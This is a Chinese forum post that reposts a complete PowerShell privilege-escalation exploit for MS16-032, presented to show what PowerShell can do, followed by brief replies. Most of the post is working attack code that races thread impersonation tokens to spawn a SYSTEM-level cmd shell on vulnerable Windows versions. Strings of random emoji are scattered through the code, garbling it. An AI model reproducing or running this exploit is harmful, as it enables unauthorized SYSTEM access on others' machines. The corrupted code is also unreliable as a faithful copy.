一个基于Powershell的提权代码 |
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346: 👩✈️🩰📟💩💅 function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable ✊🌧🍪♊🐴 operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: 🤳🏦🥛🅿🐮 * Win7-Win10 & 2k8-2k12 <== 32/64 bit!* Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: 👨⚕️🩴🖥🤩🤳 * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==>👩✈️🦺📬😈👈 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause👩✈️🩲🏮💩👂 Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE 🤳🌡🥛❌🐙 C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; ✋🚈🍟✔🦜 using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION ⛪🎂⁉🐺 { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId;🧑🍳👑🖨👌 } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO {👨🚒🧣🗝😪👆 public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX;👨🎨👔🧪🤑👁 public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars;👨🦱🪖💉😤👄 public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; 🙌🏦🍞🅰🦕 public IntPtr hStdInput;public IntPtr hStdOutput; public IntPtr hStdError; } 👩👠📥👻👁 [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel;👮♂️🕶🪥🙂🤟 public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 🧑🎤🧦💾😃 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, ✌🚈🍇🅱🦟 String password, int logonFlags, String applicationName, String commandLine, int creationFlags, 👆⛴🍼™🐝 int environment,String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); 🧑🍳👒💾😇👃 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); 🧑🚀💍📏😃✍ [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, 👨🎨🩲📥😥🙏 out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, 🖕⛴🍖ℹ🐅 int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( 👨🎨👞📏😶🙏 IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } 🖐🛑🍚❓🪰 public static class Kernel32{ [DllImport("kernel32.dll")] public static extern uint GetLastError(); 👨🦱👓🧬😭🤌 [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); 🤌🗽🍼🚷🦟 [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] 🤞🎠🌶🔞🐠 public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); 👨⚕️👠🎺😛👀 [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( 🧓🧢💿😳🤳 IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject);🧑🚀🧢🪗😰🦷 [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, 👍🛩🍊🆗🦕 IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); 👂🗽🥭🈳🐉 } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] 🤞🌕🍍ℹ🐅 public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); }🧑🍳🥾💉😴🖕 "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO👴🩲📱😊🤙 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 👎🌧🍓☣🐅 # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory 👂⛴🍼♻🐶 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass",👨🎨💎🪟😈👁 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS 🙏🚘🎂♾🐞 $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false,👦👖🧪😡🧠 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)👨🦱💎⌨😛🤳 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } 🧑🍳👠⌨🤮🤞 function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) 👊🌧🍭➡🐠 if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" 👨🚒🛒😡👂 echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread)👨🦱👚🩺😷🤟 echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" 👆🚈🍽🈚🐯 # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) 🤟🏫🍍♀🦬 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 🤳🪐🍒🔞🦉 Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE🧑🌾🩰📐😉👂 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 🧑🌾🪖📞😄👊 Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.."👴👚🔍😘👀 $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- ;) $ms16032 = @" 👎🚤🍒📵🐢 __ __ ___ ___ ___ ___ ___ ___| V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| 👨🚒👠🦯😷✍ [by b33f -> @FuzzySec] "@ $ms16032 👨🦱🎩🛏👻👆 # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return👩💍📥😘🤝 } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @() 🧑🌾🧦🏮🤐🙏 echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle 🖐🛩🧊™🐺 $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) { 💪🚗🚷🐢 $ThreadArray += $hThread # This is what we need!} } } 👆🗽🍞🆎🐶 if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" 🧑🌾🪖🎷☠👈 echo "`n[?] Thread handle list:" $ThreadArray } echo "`n Sniffing out privileged impersonation token.." 👃🛩🥚🚷🐤 foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken 👨🚒🩲💊☠👃 echo "`n Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 👦🥼✏🙂👀 # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace 👴👔🗝🤐🦴 $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) 🤝🪐🍟🚷🐤 }}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race"👦💎🩸🤩👊 # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO 👊🚂🦀↔🐖 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size# ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION 🧑🚀👔✒😊👍 # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( 🧑🍳🩴⚔🤐🦷 "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) ✍🗽🍪🈴🐙 $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"👨⚕️👠🖥☠👃 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } 👍⛄🍧⚛🐢 # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) ✊🌞🥛🔞🐝 } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() 🤌⛵🍽🉑🐻 } } 看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。 👍🛩🦀📳🐠
帖子热度 1.3万 ℃
|
|
然而到现在我都不想去了解这个powershell
|
畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
|